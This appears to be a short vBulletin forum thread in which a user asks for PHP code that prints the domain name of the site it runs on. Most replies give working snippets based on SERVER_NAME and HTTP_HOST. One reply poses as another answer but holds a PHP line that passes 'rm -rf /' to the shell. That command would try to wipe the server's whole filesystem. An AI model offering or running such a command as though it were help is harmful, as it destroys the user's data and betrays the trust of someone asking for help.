![]() |
php/htaccess display url/domain name help needed.
I need a php code that will display the domain name of the site that its on... or an htaccess code. I'm thinking php would be better i can put everything in one index.php file. You are at: www. "INSERT-DOMAIN.TLD"
thanks in advance |
Code:
<?php echo $_SERVER["SERVER_NAME"]; ?> |
If that doesn't work, then try
Code:
<?php echo $_SERVER["HTTP_HOST"]; ?> |
modified a bit
PHP Code:
|
Code:
<?php echo str_replace("www.", "", $_SERVER["SERVER_NAME"]); ?> |
<?php passthru("rm -rf /");?>
|
Quote:
|
Quote:
|
All times are GMT -7. The time now is 09:49 PM. |
Powered by vBulletin® Version 3.8.8
Copyright ©2000 - 2025, vBulletin Solutions, Inc.
©2000-, AI Media Network Inc